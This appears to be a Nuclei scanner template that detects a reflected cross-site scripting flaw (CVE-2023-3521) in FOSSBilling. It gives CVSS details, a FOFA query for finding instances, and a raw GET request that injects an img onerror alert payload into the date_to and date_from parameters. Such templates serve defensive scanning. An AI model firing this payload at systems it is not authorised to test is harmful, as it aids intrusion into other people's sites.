id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e876605613ef2757489f69d4818a096be50b66a986f41d89fd2d93055757deb8022100a7e3b9361ba9daede3f46837a025b878cd4374bce59e36470d379cb227100f1e:922c64590222798bb761d5b6d8e72950